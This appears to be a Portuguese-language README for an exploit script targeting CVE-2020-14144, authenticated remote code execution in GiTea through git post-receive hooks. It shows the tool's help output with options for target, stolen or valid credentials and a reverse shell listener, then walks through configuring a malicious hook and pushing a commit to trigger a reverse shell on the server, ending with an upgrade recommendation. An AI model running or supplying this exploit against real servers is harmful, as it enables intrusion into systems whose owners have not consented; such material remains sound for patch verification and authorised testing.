
Um script para explorar CVE-2020-14144 - Execução Remota de Código autenticada no GiTea usando hooks do git
Um script para explorar CVE-2020-14144 - Execução Remota de Código autenticada no GiTea usando git hooks
-f$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
Para explorar com sucesso esta vulnerabilidade/funcionalidade, a versão do GiTea no servidor alvo deve estar entre a versão 1.1.0 e a versão 1.13, e precisa de uma conta válida (nome de utilizador, palavra-passe) com os direitos "May create git hooks" ativados.

Do ponto de vista da administração do sistema, o processo do gitea tem o seguinte aspeto antes da exploração:

Primeiramente, precisamos de criar um repositório na interface web do GiTea, usando a nossa conta. Criamos o repositório e vamos a Settings -> Git Hooks -> Post Receive Hook. Neste hook pode escrever um script de shell que será executado após receber um novo commit.

Agora vamos criar um diretório temporário na nossa máquina atacante e fazer push para o repositório remoto. Isso irá acionar o script Post Receive Hook.
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
Após fazermos o push do commit para o repositório remoto, o script Post Receive Hook será acionado e teremos uma reverse shell!

Após a exploração, um administrador do sistema pode facilmente ver a nossa reverse shell destacada nos processos filhos do GiTea:

Recomenda-se atualizar para pelo menos a versão 1.13.0.
Pull requests são bem-vindos. Sinta-se à vontade para abrir uma issue se quiser adicionar outros recursos.